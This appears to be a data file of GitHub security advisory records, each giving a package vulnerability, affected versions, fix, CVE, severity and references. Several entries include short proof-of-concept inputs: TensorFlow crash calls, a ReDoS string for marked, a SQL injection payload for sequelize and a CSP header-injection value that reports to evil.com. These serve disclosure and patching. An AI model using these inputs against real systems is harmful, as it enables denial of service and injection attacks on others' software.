GHSA | GHSA-7rg2-qxmf-hhx9 | Session fixation in express-openid-connect | ### Overview
Versions `2.3.0` up to and including `2.5.1` do not regenerate the session id and session cookie when user logs in. This behavior opens up the application to various session fixation vulnerabilities.
### Am I affected?
You are affected by this vulnerability if you are using `express-openid-connect` version `2.3.0` up to and including `2.5.1` and use a custom session store.
### How to fix that?
Upgrade to version `>= 2.5.2`.
### Will this update impact my users?
The fix provided in patch will not affect your users. | {'CVE-2021-41246'} | 2021-12-15T15:28:49Z | 2021-12-09T19:08:58Z | MODERATE | 4.6 | {'CWE-384'} | {'https://github.com/auth0/express-openid-connect/commit/5ab67ff2bd84f76674066b5e129b43ab5f2f430f', 'https://github.com/auth0/express-openid-connect/releases/tag/v2.5.2', 'https://github.com/auth0/express-openid-connect/security/advisories/GHSA-7rg2-qxmf-hhx9', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41246', 'https://github.com/advisories/GHSA-7rg2-qxmf-hhx9'} | null | {'https://github.com/auth0/express-openid-connect/commit/5ab67ff2bd84f76674066b5e129b43ab5f2f430f'} | {'https://github.com/auth0/express-openid-connect/commit/5ab67ff2bd84f76674066b5e129b43ab5f2f430f'} |
GHSA | GHSA-xrqm-fpgr-6hhx | Overflow/crash in `tf.range` | ### Impact
While calculating the size of the output within the `tf.range` kernel, there is a conditional statement of type `int64 = condition ? int64 : double`. Due to C++ implicit conversion rules, both branches of the condition will be cast to `double` and the result would be truncated before the assignment. This result in overflows:
```python
import tensorflow as tf
tf.sparse.eye(num_rows=9223372036854775807, num_columns=None)
```
Similarly, `tf.range` would result in crashes due to overflows if the start or end point are too large.
```python
import tensorflow as tf
tf.range(start=-1e+38, limit=1)
```
### Patches
We have patched the issue in GitHub commits [6d94002a09711d297dbba90390d5482b76113899](https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899) (merging [#51359](https://github.com/tensorflow/tensorflow/pull/51359)) and [1b0e0ec27e7895b9985076eab32445026ae5ca94](https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94) (merging [#51711](https://github.com/tensorflow/tensorflow/pull/51711)).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported externally via [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46912), [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46899) and [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46889).
| {'CVE-2021-41202'} | 2021-11-10T19:13:16Z | 2021-11-10T19:13:16Z | MODERATE | 5.5 | {'CWE-681'} | {'https://github.com/advisories/GHSA-xrqm-fpgr-6hhx', 'https://github.com/tensorflow/tensorflow/issues/46889', 'https://github.com/tensorflow/tensorflow/issues/46912', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xrqm-fpgr-6hhx', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41202', 'https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899', 'https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94'} | null | {'https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94', 'https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899'} | {'https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899', 'https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94'} |
GHSA | GHSA-5v2h-r2cx-5xgj | Inefficient Regular Expression Complexity in marked | ### Impact
_What kind of vulnerability is it?_
Denial of service.
The regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings.
PoC is the following.
```javascript
import * as marked from 'marked';
console.log(marked.parse(`[x]: x
\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));
```
_Who is impacted?_
Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.
### Patches
_Has the problem been patched?_
Yes
_What versions should users upgrade to?_
4.0.10
### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
Do not run untrusted markdown through marked or run marked on a [worker](https://marked.js.org/using_advanced#workers) thread and set a reasonable time limit to prevent draining resources.
### References
_Are there any links users can visit to find out more?_
- https://marked.js.org/using_advanced#workers
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [marked](https://github.com/markedjs/marked)
| {'CVE-2022-21681'} | 2022-04-19T19:03:20Z | 2022-01-14T21:04:46Z | HIGH | 7.5 | {'CWE-1333'} | {'https://github.com/advisories/GHSA-5v2h-r2cx-5xgj', 'https://github.com/markedjs/marked/commit/8f806573a3f6c6b7a39b8cdb66ab5ebb8d55a5f5', 'https://nvd.nist.gov/vuln/detail/CVE-2022-21681', 'https://github.com/markedjs/marked/security/advisories/GHSA-5v2h-r2cx-5xgj'} | null | {'https://github.com/markedjs/marked/commit/8f806573a3f6c6b7a39b8cdb66ab5ebb8d55a5f5'} | {'https://github.com/markedjs/marked/commit/8f806573a3f6c6b7a39b8cdb66ab5ebb8d55a5f5'} |
GHSA | GHSA-c7hr-j4mj-j2w6 | Verification Bypass in jsonwebtoken | Versions 4.2.1 and earlier of `jsonwebtoken` are affected by a verification bypass vulnerability. This is a result of weak validation of the JWT algorithm type, occuring when an attacker is allowed to arbitrarily specify the JWT algorithm.
## Recommendation
Update to version 4.2.2 or later. | {'CVE-2015-9235'} | 2021-01-08T19:00:39Z | 2018-10-09T00:38:30Z | CRITICAL | 0 | {'CWE-20'} | {'https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/', 'https://nvd.nist.gov/vuln/detail/CVE-2015-9235', 'https://www.timmclean.net/2015/02/25/jwt-alg-none.html', 'https://nodesecurity.io/advisories/17', 'https://github.com/auth0/node-jsonwebtoken/commit/1bb584bc382295eeb7ee8c4452a673a77a68b687', 'https://www.npmjs.com/advisories/17', 'https://github.com/advisories/GHSA-c7hr-j4mj-j2w6'} | null | {'https://github.com/auth0/node-jsonwebtoken/commit/1bb584bc382295eeb7ee8c4452a673a77a68b687'} | {'https://github.com/auth0/node-jsonwebtoken/commit/1bb584bc382295eeb7ee8c4452a673a77a68b687'} |
GHSA | GHSA-62gx-355r-9fhg | Session operations in eager mode lead to null pointer dereferences | ### Impact
In eager mode (default in TF 2.0 and later), session operations are invalid. However, users could still call the raw ops associated with them and trigger a null pointer dereference:
```python
import tensorflow as tf
tf.raw_ops.GetSessionTensor(handle=['\x12\x1a\x07'],dtype=4)
```
```python
import tensorflow as tf
tf.raw_ops.DeleteSessionTensor(handle=['\x12\x1a\x07'])
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/eebb96c2830d48597d055d247c0e9aebaea94cd5/tensorflow/core/kernels/session_ops.cc#L104) dereferences the session state pointer without checking if it is valid:
```cc
OP_REQUIRES_OK(ctx, ctx->session_state()->GetTensor(name, &val));
```
Thus, in eager mode, `ctx->session_state()` is nullptr and the call of the member function is undefined behavior.
### Patches
We have patched the issue in GitHub commit [ff70c47a396ef1e3cb73c90513da4f5cb71bebba](https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-29518'} | 2021-05-21T14:21:05Z | 2021-05-21T14:21:05Z | LOW | 2.5 | {'CWE-476'} | {'https://github.com/advisories/GHSA-62gx-355r-9fhg', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-62gx-355r-9fhg', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29518', 'https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba'} | null | {'https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba'} | {'https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba'} |
GHSA | GHSA-8xxm-h73r-ghfj | Validation bypass in frourio | ## 日本語
### 影響
v0.26.0以前のfrourioを使用している、かつvalidators/を利用している場合、ネストされたバリデータがリクエストのボディーとクエリに対して正しく働かないケースがあります。また、リクエストに対してバリデーションが効かなくなる入力があります。
### パッチ
frourioをv0.26.0かそれ以降のバージョンにアップデートをお願いします。frourio を使用したプロジェクトには `class-transformer` と `reflect-metadata` の依存への追加も必要となります。
### ワークアラウンド
controller側で自分でclass-transformerを使用してチェックする、vaildatorを使わない、など。
### さらなる情報
このセキュリティ勧告に関する質問やコメントについては、以下の方法でお問い合わせいただけます。
* [frourio](https://github.com/frouriojs/frourio)にIssueを開く。
## English
### Impact
Frourio users who uses frourio version prior to v0.26.0 and integration with class-validator through `validators/` folder. Validators does not work properly for request bodies and queries in specific situations. Addtionally, some kind of input is not validated. (false positives)
### Patches
Please update your frourio to v0.26.0 or later. You also need to install `class-transformer` and `reflect-metadata` to your project.
### Workarounds
Validate objects from request with class-transformer in controllers by yourself, or prevent using validators.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [frourio](https://github.com/frouriojs/frourio)
| {'CVE-2022-23623'} | 2022-04-19T19:03:22Z | 2022-02-07T22:37:45Z | HIGH | 8.1 | {'CWE-20'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-23623', 'https://github.com/advisories/GHSA-8xxm-h73r-ghfj', 'https://github.com/frouriojs/frourio/commit/7c19ac5363305b81b1c6b5232620228763d427af', 'https://github.com/frouriojs/frourio/security/advisories/GHSA-8xxm-h73r-ghfj'} | null | {'https://github.com/frouriojs/frourio/commit/7c19ac5363305b81b1c6b5232620228763d427af'} | {'https://github.com/frouriojs/frourio/commit/7c19ac5363305b81b1c6b5232620228763d427af'} |
GHSA | GHSA-f2jw-pr2c-9x96 | Code injection in @rkesters/gnuplot | @rkesters/gnuplot is an easy to use node module to draw charts using gnuplot and ps2pdf. The gnuplot package prior to version 0.1.0 for Node.js allows code execution via shell metacharacters in Gnuplot commands. | {'CVE-2021-29369'} | 2022-05-05T00:45:10Z | 2022-02-10T23:41:49Z | CRITICAL | 9.8 | {'CWE-77', 'CWE-78'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-29369', 'https://www.npmjs.com/package/@rkesters/gnuplot', 'https://github.com/advisories/GHSA-f2jw-pr2c-9x96', 'https://github.com/rkesters/gnuplot/commit/23671d4d3d28570fb19a936a6328bfac742410de'} | null | {'https://github.com/rkesters/gnuplot/commit/23671d4d3d28570fb19a936a6328bfac742410de'} | {'https://github.com/rkesters/gnuplot/commit/23671d4d3d28570fb19a936a6328bfac742410de'} |
GHSA | GHSA-w978-rmpf-qmwg | Limited header injection when using dynamic overrides with user input in RubyGems secure_headers | ### Impact
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.
e.g.
```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
```
would result in
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```
### Patches
This has been fixed in 6.3.0, 5.2.0, and 3.9.0
### Workarounds
```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```
### References
https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)
* DM us at @ndm on twitter | {'CVE-2020-5216'} | 2021-01-08T20:33:22Z | 2020-01-23T02:27:53Z | MODERATE | 4.4 | {'CWE-113'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-5216', 'https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg', 'https://github.com/advisories/GHSA-w978-rmpf-qmwg', 'https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0'} | null | {'https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0'} | {'https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0'} |
GHSA | GHSA-hpmr-g4pq-jhgp | Denial of service in chrono-node | This affects the package chrono-node before 2.2.4. It hangs on a date-like string with lots of embedded spaces. | {'CVE-2021-23371'} | 2021-05-06T15:58:05Z | 2021-05-06T15:58:05Z | HIGH | 7.5 | {'CWE-400'} | {'https://snyk.io/vuln/SNYK-JS-CHRONONODE-1083228', 'https://github.com/advisories/GHSA-hpmr-g4pq-jhgp', 'https://github.com/wanasit/chrono/issues/382', 'https://github.com/wanasit/chrono/commit/98815b57622443b5c498a427210ebd603d705f4c', 'https://nvd.nist.gov/vuln/detail/CVE-2021-23371'} | null | {'https://github.com/wanasit/chrono/commit/98815b57622443b5c498a427210ebd603d705f4c'} | {'https://github.com/wanasit/chrono/commit/98815b57622443b5c498a427210ebd603d705f4c'} |
GHSA | GHSA-393f-2jr3-cp69 | CHECK-fail in DrawBoundingBoxes | ### Impact
An attacker can trigger a denial of service via a `CHECK` failure by passing an empty image to `tf.raw_ops.DrawBoundingBoxes`:
```python
import tensorflow as tf
images = tf.fill([53, 0, 48, 1], 0.)
boxes = tf.fill([53, 31, 4], 0.)
boxes = tf.Variable(boxes)
boxes[0, 0, 0].assign(3.90621)
tf.raw_ops.DrawBoundingBoxes(images=images, boxes=boxes)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/ea34a18dc3f5c8d80a40ccca1404f343b5d55f91/tensorflow/core/kernels/image/draw_bounding_box_op.cc#L148-L165) uses `CHECK_*` assertions instead of `OP_REQUIRES` to validate user controlled inputs. Whereas `OP_REQUIRES` allows returning an error condition back to the user, the `CHECK_*` macros result in a crash if the condition is false, similar to `assert`.
```cc
const int64 max_box_row_clamp = std::min<int64>(max_box_row, height - 1);
...
CHECK_GE(max_box_row_clamp, 0);
```
In this case, `height` is 0 from the `images` input. This results in `max_box_row_clamp` being negative and the assertion being falsified, followed by aborting program execution.
### Patches
We have patched the issue in GitHub commit [b432a38fe0e1b4b904a6c222cbce794c39703e87](https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team. | {'CVE-2021-29533'} | 2021-05-21T14:22:21Z | 2021-05-21T14:22:21Z | LOW | 2.5 | {'CWE-754'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-393f-2jr3-cp69', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29533', 'https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87', 'https://github.com/advisories/GHSA-393f-2jr3-cp69'} | null | {'https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87'} | {'https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87'} |
GHSA | GHSA-m9jw-237r-gvfv | SQL Injection in sequelize | Affected versions of `sequelize` are vulnerable to SQL Injection. The function `sequelize.json()` incorrectly formatted sub paths for JSON queries, which allows attackers to inject SQL statements and execute arbitrary SQL queries if user input is passed to the query. Exploitation example:
```return User.findAll({
where: this.sequelize.json("data.id')) AS DECIMAL) = 1 DELETE YOLO INJECTIONS; -- ", 1)
});```
## Recommendation
If you are using `sequelize` 5.x, upgrade to version 5.15.1 or later.
If you are using `sequelize` 4.x, upgrade to version 4.44.3 or later. | {'CVE-2019-10752'} | 2021-08-18T21:54:56Z | 2019-10-25T19:43:16Z | CRITICAL | 9.8 | {'CWE-89'} | {'https://github.com/sequelize/sequelize/pull/11329', 'https://www.npmjs.com/advisories/1146', 'https://nvd.nist.gov/vuln/detail/CVE-2019-10752', 'https://snyk.io/vuln/SNYK-JS-SEQUELIZE-459751', 'https://github.com/advisories/GHSA-m9jw-237r-gvfv', 'https://snyk.io/vuln/SNYK-JS-SEQUELIZE-459751,', 'https://github.com/sequelize/sequelize/commit/9bd0bc111b6f502223edf7e902680f7cc2ed541e', 'https://github.com/sequelize/sequelize/commit/9bd0bc1,'} | null | {'https://github.com/sequelize/sequelize/commit/9bd0bc1,', 'https://github.com/sequelize/sequelize/commit/9bd0bc111b6f502223edf7e902680f7cc2ed541e'} | {'https://github.com/sequelize/sequelize/commit/9bd0bc111b6f502223edf7e902680f7cc2ed541e', 'https://github.com/sequelize/sequelize/commit/9bd0bc1,'} |
GHSA | GHSA-m5h6-hr3q-22h5 | npm Token Leak in npm | Affected versions of the `npm` package include the bearer token of the logged in user in every request made by the CLI, even if the request is not directed towards the user's active registry.
An attacker could create an HTTP server to collect tokens, and by various means including but not limited to install scripts, cause the npm CLI to make a request to that server, which would compromise the user's token.
This compromised token could be used to do anything that the user could do, including publishing new packages.
## Recommendation
1. Update npm with `npm install npm@latest -g`
2. [Revoke your Tokens](https://www.npmjs.com/settings/tokens)
3. Enable [Two-Factor Authentication](https://docs.npmjs.com/getting-started/using-two-factor-authentication) | {'CVE-2016-3956'} | 2021-06-16T19:54:44Z | 2018-07-31T22:58:35Z | HIGH | 0 | {'CWE-200'} | {'https://github.com/advisories/GHSA-m5h6-hr3q-22h5', 'https://github.com/npm/npm/issues/8380', 'https://nodejs.org/en/blog/vulnerability/npm-tokens-leak-march-2016/', 'https://nvd.nist.gov/vuln/detail/CVE-2016-3956', 'https://www.npmjs.com/advisories/98', 'https://github.com/npm/npm/commit/f67ecad59e99a03e5aad8e93cd1a086ae087cb29', 'http://www-01.ibm.com/support/docview.wss?uid=swg21980827', 'https://github.com/npm/npm/commit/fea8cc92cee02c720b58f95f14d315507ccad401', 'http://blog.npmjs.org/post/142036323955/fixing-a-bearer-token-vulnerability'} | null | {'https://github.com/npm/npm/commit/f67ecad59e99a03e5aad8e93cd1a086ae087cb29', 'https://github.com/npm/npm/commit/fea8cc92cee02c720b58f95f14d315507ccad401'} | {'https://github.com/npm/npm/commit/f67ecad59e99a03e5aad8e93cd1a086ae087cb29', 'https://github.com/npm/npm/commit/fea8cc92cee02c720b58f95f14d315507ccad401'} |
GHSA | GHSA-r9vm-rhmf-7hxx | OS Command Injection in im-resize | im-resize through 2.3.2 allows remote attackers to execute arbitrary commands via the "exec" argument. The cmd argument used within index.js, can be controlled by user without any sanitization. | {'CVE-2019-10787'} | 2021-04-13T15:17:06Z | 2021-04-13T15:17:06Z | HIGH | 9.8 | {'CWE-78'} | {'https://snyk.io/vuln/SNYK-JS-IMRESIZE-544183', 'https://github.com/Turistforeningen/node-im-resize/commit/de624dacf6a50e39fe3472af1414d44937ce1f03', 'https://github.com/advisories/GHSA-r9vm-rhmf-7hxx', 'https://nvd.nist.gov/vuln/detail/CVE-2019-10787'} | null | {'https://github.com/Turistforeningen/node-im-resize/commit/de624dacf6a50e39fe3472af1414d44937ce1f03'} | {'https://github.com/Turistforeningen/node-im-resize/commit/de624dacf6a50e39fe3472af1414d44937ce1f03'} |
GHSA | GHSA-4c4g-crqm-xrxw | Use of unitialized value in TFLite | ### Impact
All TFLite operations that use quantization can be made to use unitialized values. [For example](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/depthwise_conv.cc#L198-L200):
```cc
const auto* affine_quantization =
reinterpret_cast<TfLiteAffineQuantization*>(
filter->quantization.params);
```
The issue stems from the fact that `quantization.params` is only valid if `quantization.type` is different that `kTfLiteNoQuantization`. However, these checks are missing in large parts of the code.
### Patches
We have patched the issue in GitHub commits [537bc7c723439b9194a358f64d871dd326c18887](https://github.com/tensorflow/tensorflow/commit/537bc7c723439b9194a358f64d871dd326c18887),
[4a91f2069f7145aab6ba2d8cfe41be8a110c18a5](https://github.com/tensorflow/tensorflow/commit/4a91f2069f7145aab6ba2d8cfe41be8a110c18a5) and [8933b8a21280696ab119b63263babdb54c298538](https://github.com/tensorflow/tensorflow/commit/8933b8a21280696ab119b63263babdb54c298538).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-37682'} | 2021-08-25T14:40:32Z | 2021-08-25T14:40:32Z | MODERATE | 4.4 | {'CWE-908'} | {'https://github.com/tensorflow/tensorflow/commit/537bc7c723439b9194a358f64d871dd326c18887', 'https://github.com/advisories/GHSA-4c4g-crqm-xrxw', 'https://github.com/tensorflow/tensorflow/commit/4a91f2069f7145aab6ba2d8cfe41be8a110c18a5', 'https://nvd.nist.gov/vuln/detail/CVE-2021-37682', 'https://github.com/tensorflow/tensorflow/commit/8933b8a21280696ab119b63263babdb54c298538', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4c4g-crqm-xrxw'} | null | {'https://github.com/tensorflow/tensorflow/commit/8933b8a21280696ab119b63263babdb54c298538', 'https://github.com/tensorflow/tensorflow/commit/4a91f2069f7145aab6ba2d8cfe41be8a110c18a5', 'https://github.com/tensorflow/tensorflow/commit/537bc7c723439b9194a358f64d871dd326c18887'} | {'https://github.com/tensorflow/tensorflow/commit/4a91f2069f7145aab6ba2d8cfe41be8a110c18a5', 'https://github.com/tensorflow/tensorflow/commit/537bc7c723439b9194a358f64d871dd326c18887', 'https://github.com/tensorflow/tensorflow/commit/8933b8a21280696ab119b63263babdb54c298538'} |
GHSA | GHSA-mjcr-rqjg-rhg3 | Implementation trusts the "me" field returned by the authorization server without verifying it | ### Impact
A malicious user can sign in as a user with any IndieAuth identifier. This is because the implementation does not verify that the final `"me"` URL value returned by the authorization server belongs to the same domain as the initial value entered by the user.
### Patches
Version 1.1 fixes this issue.
### Workarounds
There is no workaround. Upgrade to 1.1 immediately.
### References
- [Security Considerations: Differing User Profile URLs](https://indieauth.spec.indieweb.org/#differing-user-profile-urls-li-1) in the IndieAuth specification.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [simonw/datasette-indieauth](https://github.com/simonw/datasette-indieauth/issues) | null | 2022-03-21T20:04:50Z | 2020-11-24T21:21:04Z | CRITICAL | 0 | {'CWE-290'} | {'https://pypi.org/project/datasette-indieauth/', 'https://github.com/simonw/datasette-indieauth/security/advisories/GHSA-mjcr-rqjg-rhg3', 'https://github.com/simonw/datasette-indieauth/commit/376c8804c6b0811852049229a24336fe5eb6a439', 'https://github.com/advisories/GHSA-mjcr-rqjg-rhg3'} | null | {'https://github.com/simonw/datasette-indieauth/commit/376c8804c6b0811852049229a24336fe5eb6a439'} | {'https://github.com/simonw/datasette-indieauth/commit/376c8804c6b0811852049229a24336fe5eb6a439'} |
GHSA | GHSA-g795-4hxx-qqwm | Cross-site Scripting in Pimcore | Pimcore prior to 10.4.0 is vulnerable to stored cross-site scripting. | {'CVE-2022-0893'} | 2022-03-29T21:30:16Z | 2022-03-16T00:00:47Z | MODERATE | 5.4 | {'CWE-79'} | {'https://github.com/pimcore/pimcore/pull/11447', 'https://github.com/advisories/GHSA-g795-4hxx-qqwm', 'https://github.com/pimcore/pimcore/commit/6e0922c5b2959ac1b48500ac508d8fc5a97286f9', 'https://huntr.dev/bounties/2859a1c1-941c-4efc-a3ad-a0657c7a77e9', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0893'} | null | {'https://github.com/pimcore/pimcore/commit/6e0922c5b2959ac1b48500ac508d8fc5a97286f9'} | {'https://github.com/pimcore/pimcore/commit/6e0922c5b2959ac1b48500ac508d8fc5a97286f9'} |
GHSA | GHSA-28ph-f7gx-fqj8 | Data races in rusqlite | An issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via create_module. | {'CVE-2020-35867'} | 2021-08-25T20:47:57Z | 2021-08-25T20:47:57Z | CRITICAL | 9.8 | {'CWE-362'} | {'https://github.com/advisories/GHSA-28ph-f7gx-fqj8', 'https://github.com/rusqlite/rusqlite/releases/tag/0.23.0', 'https://github.com/rusqlite/rusqlite/commit/3c6b57fe1b2cc87e7ebecde43dd836ffb1c4ea5c', 'https://rustsec.org/advisories/RUSTSEC-2020-0014.html', 'https://nvd.nist.gov/vuln/detail/CVE-2020-35867'} | null | {'https://github.com/rusqlite/rusqlite/commit/3c6b57fe1b2cc87e7ebecde43dd836ffb1c4ea5c'} | {'https://github.com/rusqlite/rusqlite/commit/3c6b57fe1b2cc87e7ebecde43dd836ffb1c4ea5c'} |
GHSA | GHSA-7gfg-6934-mqq2 | Improper Authenication in Pion DTLS | handleIncomingPacket in conn.go in Pion DTLS before 1.5.2 lacks a check for application data with epoch 0, which allows remote attackers to inject arbitrary unencrypted data after handshake completion. | {'CVE-2019-20786'} | 2021-06-29T21:34:57Z | 2021-06-29T21:34:57Z | CRITICAL | 5.6 | {'CWE-287'} | {'https://www.usenix.org/system/files/sec20fall_fiterau-brostean_prepub.pdf', 'https://nvd.nist.gov/vuln/detail/CVE-2019-20786', 'https://github.com/advisories/GHSA-7gfg-6934-mqq2', 'https://github.com/pion/dtls/compare/v1.5.1...v1.5.2', 'https://github.com/pion/dtls/commit/fd73a5df2ff0e1fb6ae6a51e2777d7a16cc4f4e0', 'https://www.usenix.org/conference/usenixsecurity20/presentation/fiterau-brostean'} | null | {'https://github.com/pion/dtls/commit/fd73a5df2ff0e1fb6ae6a51e2777d7a16cc4f4e0'} | {'https://github.com/pion/dtls/commit/fd73a5df2ff0e1fb6ae6a51e2777d7a16cc4f4e0'} |
GHSA | GHSA-4jwx-78vx-gm6g | Cross-Site Request Forgery in kimai2 | CSRF in saving invoices / modifying status of invoices (pending and cancel only) | {'CVE-2021-4033'} | 2021-12-14T15:29:59Z | 2021-12-10T20:34:01Z | MODERATE | 6.5 | {'CWE-352'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-4033', 'https://huntr.dev/bounties/e05be1f7-d00c-4cfd-9390-ccd9d1c737b7', 'https://github.com/advisories/GHSA-4jwx-78vx-gm6g', 'https://github.com/kevinpapst/kimai2/commit/1da26e041df62c10bd8075d78f2db7854d3eee07'} | null | {'https://github.com/kevinpapst/kimai2/commit/1da26e041df62c10bd8075d78f2db7854d3eee07'} | {'https://github.com/kevinpapst/kimai2/commit/1da26e041df62c10bd8075d78f2db7854d3eee07'} |
GHSA | GHSA-j7vx-8mqj-cqp9 | Exposure of Sensitive Information to an Unauthorized Actor in Doorkeeper | ### Impact
Information disclosure vulnerability. Allows an attacker to see all `Doorkeeper::Application` model attribute values (including secrets) using authorized applications controller if it's enabled (GET /oauth/authorized_applications.json).
### Patches
These versions have the fix:
* 5.0.3
* 5.1.1
* 5.2.5
* 5.3.2
### Workarounds
Patch `Doorkeeper::Application` model `#as_json(options = {})` method and define only those attributes you want to expose.
Additional recommended hardening is to enable application secrets hashing ([guide](https://doorkeeper.gitbook.io/guides/security/token-and-application-secrets)), available since Doorkeeper 5.1. This would render the exposed secret useless.
### References
- Commit with fix: https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10187 | {'CVE-2020-10187'} | 2022-04-19T19:02:27Z | 2020-05-07T21:11:07Z | HIGH | 7.5 | {'CWE-862'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-10187', 'https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6', 'https://github.com/doorkeeper-gem/doorkeeper/security/advisories/GHSA-j7vx-8mqj-cqp9', 'https://github.com/advisories/GHSA-j7vx-8mqj-cqp9', 'https://github.com/doorkeeper-gem/doorkeeper/releases', 'https://github.com/rubysec/ruby-advisory-db/pull/446'} | null | {'https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6'} | {'https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6'} |
